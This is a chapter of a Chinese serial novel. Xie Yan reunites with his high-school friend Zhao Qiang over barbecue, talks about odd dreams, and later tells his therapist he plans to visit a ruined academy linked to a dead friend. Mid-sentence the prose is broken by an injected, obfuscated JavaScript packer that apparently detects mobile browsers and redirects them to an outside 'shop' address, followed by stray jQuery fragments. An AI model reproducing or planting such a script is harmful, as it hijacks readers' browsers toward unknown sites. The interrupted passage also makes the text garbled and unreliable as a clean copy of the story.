周五傍晚的空气里飘着烧烤摊特有的、混合了炭火与孜然的浓烈香气。谢言站在街口，看着不远处那家挂着“老地方烧烤”霓虹灯牌的小店，招牌崭新，显然不是记忆中的任何“老地方”。赵强在电话里豪气干云：“新发现的，味儿正！必须来！”
下班高峰刚过，街上行人依旧不少。谢言穿着简单的休闲外套，手里拎着路过水果店时顺手买的一袋橙子——他记得赵强以前爱吃。这个举动让他自己都有些诧异，像是某种沉睡的社交本能正在缓慢苏醒。
店里人声鼎沸，热气腾腾。他一眼就看到了赵强。并非因为出众，而是那种仿佛自带聚光灯般的活力。赵强坐在靠里的一张方桌旁，正伸长脖子朝门口张望，手里还捏着根串，见到谢言，立刻咧开嘴，用力挥手，胳膊上的肌肉线条随着动作隆起。
“这儿！谢言！”
声音洪亮，瞬间压过不少嘈杂。谢言走过去，拉开对面的椅子坐下。桌子不大，摆着几碟毛豆、花生，还有一堆刚烤好、滋滋冒油的肉串。
“可以啊，没走错地儿！”赵强上下打量着谢言，眼神明亮直接，“瘦了点儿，不过精神头看着还行？比我想象中好。” 他说话还是那股熟稔又略带夸张的劲儿，仿佛中间那几年的空白并不存在。
“你倒是……更壮实了。”谢言实话实说。眼前的赵强比高中时宽厚了一圈，皮肤是健康的黝黑，穿着紧身的运动T恤，整个人散发着一种阳光和汗水混合的气息，与梦中那个咋咋呼呼、关键时刻却靠“舍弃包子”开辟生路的同伴奇妙地重叠。
“那必须的，哥们儿现在吃这碗饭呢！”赵强嘿嘿一笑，推过来一瓶已经开了盖的冰啤酒，“来，先走一个！庆祝谢大学霸终于肯下凡跟咱撸串了！”
谢言接过瓶子，冰凉触感直达掌心。他不太擅饮酒，但还是和赵强碰了一下，仰头喝了一大口。冰凉的液体带着苦涩的气泡滑过喉咙，刺激感让他微微蹙眉，却也带来一种踏实的“在场”感。
“怎么样，现在在哪儿高就？”赵强抓起两串羊肉，递给谢言一串，自己那串已经咬下一大口，边嚼边问，语气自然得像昨天才见过。
“一家小公司，做数据处理，普通职员。”谢言接过肉串，肉质焦香，调料撒得均匀。
“也挺好，稳定。不像我，天天跟铁疙瘩和人身上的‘锈’打交道。”赵强自嘲，又灌了口酒，“晓晓跟你联系没？她现在可不得了，重点中学骨干教师，带的班升学率嗷嗷高，就是忙得脚打后脑勺。周宇轩那小子更神，搞什么心理学研究，天天看论文，说话一半听不懂。”
谢言安静地听着，偶尔点点头。赵强的叙述填补了一些空白，将记忆中那些停留在青春期的面孔，拉长成了有具体职业、生活轨迹的成年人形象。他试图将眼前的赵强，与梦中那个在“求学路”上因为舍弃“酱肉包子”而创造荒诞路径、在“岳阳楼”前坦言忧“轮回”、乐“平凡”的同伴联系起来。那份骨子里的豁达与对生活本身的珍视，似乎从未改变。
“你呢？”赵强啃完一串，用竹签点点谢言，“这么多年，聚会从不来，消息也回得慢。哥几个还以为你移民火星了呢。”
问题来得直接，却不带逼迫，只是朋友间坦率的疑问。谢言沉默了几秒，手里无意识地转动着啤酒瓶。
“前几年，状态不太好。”他选择了一个比较中性的说法，没有提及具体缘由，“自己待着的时候多。”
赵强看着他，那双总是笑意盎然的眼睛里闪过一丝了然，但没有深究，只是点点头：“能理解。谁还没个钻牛角尖的时候。不过，”他语气加重，“现在能出来，就是好事！甭管以前咋样，往后有事吱声，别自个儿闷着。撸顿串解决不了的问题，咱就多撸几顿！”
朴实无华，却带着滚烫的暖意。谢言感觉到心口那冰封的一角，似乎又被这烟火气融化了些许。
“对了，”赵强像是突然想起什么，压低了些声音，虽然在这嘈杂环境里压低声音效果有限，“周宇轩前几天跟我念叨，说看什么研究，讲人做重复的、特别清晰的梦，可能跟大脑处理某些特别强烈的记忆或情绪有关。还问我有没有做过啥奇怪的梦，特别是跟高中语文课有关的。”
谢言手指微微一紧。
赵强挠挠头，笑得有点不好意思：“我哪记得清啊！就记得高中那会儿上陈老师的课老犯困，做梦也是考试不及格被追着跑。不过被他这么一说，好像……是有那么点模糊的印象？好像梦到过在教室里背课文，背不出来贼紧张……但具体哪篇、啥样，屁都想不起来了。”他挥挥手，“估计就是日有所思，夜有所梦。你别说，我现在带会员做拉伸，晚上有时候还梦见自己在拉一根老筋呢！”
他哈哈笑起来，谢言也勉强扯了扯嘴角。周宇轩果然在探究。而赵强这模糊的印象……是潜意识底层的残影？还是仅仅因为被提示而产生的错觉？
“你呢？”赵强反问，“学霸，做梦是不是都在解方程？”
谢言摇头，斟酌着词句：“有时候……会梦到一些混乱的场景，像老课文，但变得很奇怪。”
“嚯！不愧是学霸，做梦都这么有文化！”赵强夸张地赞叹，随即又正经了点，“不过说真的，要是老做不好的梦，影响休息，还是得注意。周宇轩说不定能瞎白话几句专业知识。”
话题没有在这个方向上深入，很快又被赵强带到健身房趣事、各自认识的熟人近况上。谢言大多时候是倾听者，偶尔回应几句。他发现，和赵强聊天并不费力，对方的直爽和热情像一道桥梁，让他可以相对轻松地重新站到“与人联结”的这一端。
几瓶啤酒下肚，烧烤也消灭了大半。赵强打了个饱嗝，满足地拍拍肚子：“舒坦！下次把晓晓和宇轩都叫上，咱好好聚一次。对了，”他看向谢言带来的那袋橙子，“还带这个，客气啥！不过正好，补充维C，健康！”
离开烧烤店时，夜风更凉了些。霓虹灯将两人的影子拉长又缩短。赵强用力拍拍谢言的肩膀：“保持联系啊！下次我带你体验下哥的私教课，给你松松筋骨，保准什么烦梦都睡没了！”
谢言被他拍得晃了晃，点头：“好。”
看着赵强迈着轻快的步子走向另一个方向，背影很快融入夜晚的人流，谢言独自站在街头。喧嚣依旧，胃里残留着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334402|199217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烧烤的暖意和啤酒的微醺。他拿出手机，看到林晓晓不知何时发来了一条消息：“听强子说你们见面了。真好。等我这边学生二模考完，一定聚。照顾好自己。”
很简单的几句话，符合林晓晓一贯细腻的风格。
谢言收起手机，慢慢往家的方向走。与赵强的重逢，比他预想的要自然，也要温暖。没有想象中的尴尬审视，也没有刻意的安慰，只是一种老朋友般的接纳和热气腾腾的陪伴。这让他感到一种久违的、属于“关系”的支撑力。
---
【现在】
“所以，和赵强的见面，整体感觉是积极的。”医生总结道。
“嗯。”谢言靠在椅背上，姿态比以往任何一次都放松一些，“他没什么变化，还是那样。跟他在一起，不用想太多，也不用刻意说什么。”
“这种轻松感很重要。重建社会支持系统，未必需要深刻的剖析，有时仅仅是积极的陪伴和接纳就能提供很大的情绪缓冲。”医生顿了顿，“关于他提到的，周宇轩询问梦境的事情，你怎么想？”
“周宇轩一直对这类现象有兴趣。”谢言说，“他可能察觉到什么，或者只是学术上的好奇。我暂时不打算主动跟他深入讨论我的梦，至少……在我自己更清楚之前。”
“很谨慎的决定。”医生表示赞同，“按照你自己的节奏来。那么，接下来有什么打算？除了可能的旧友聚会。”
谢言想了想：“我试着开始看那本《古文异闻辑录》了，虽然很难读。另外……我请了几天年假。”
“哦？有什么计划吗？”
“想去个地方。”谢言看向窗外，“徐远笔记里提到过一个地方，离市区不远，是个没什么游客的旧书院遗址。他住院前，好像独自去过一次。我想……去看看。”
这个决定并非一时冲动。整理遗物时，除了那些零散的笔记，谢言还发现了一张折得很小的、手绘的简易地图，线条歪斜，标注着公交线路和步行方向，终点写着“清溪书院（残址）”。地图背面有几个潦草的字：“蝉声甚烈，如诵遗篇。”
“是想寻找某种连接，还是……”医生探寻地看着他。
“不知道。”谢言坦诚地说，“可能都有。梦里，我一直在破解文本，寻找‘真实’。现实里，关于他最后那段时间，我了解的太少。或许……我只是想走一走他走过的路，看看他看过的风景。不一定非要找到什么答案。”
医生沉默了片刻，缓缓点头：“哀悼的过程，有时需要一些具体的仪式或行动。去一个与他相关的地方，可以是一种有意义的纪念。重要的是，保持觉察，关注自己在过程中的感受，如果情绪波动过大，随时可以联系我。”
“我会的。”
离开诊所时，谢言没有直接回家。他拐进了一家文具店，买了一个新的、厚实的笔记本。不是用来记录梦境，也不是用来分析古籍。他只是觉得，或许需要一个新的地方，来存放一些即将面对的感受，无论是关于过去的，还是关于未来的。
夜晚的风吹动着笔记本空白的扉页。他想，是时候，去听听那“如诵遗篇”的蝉声了。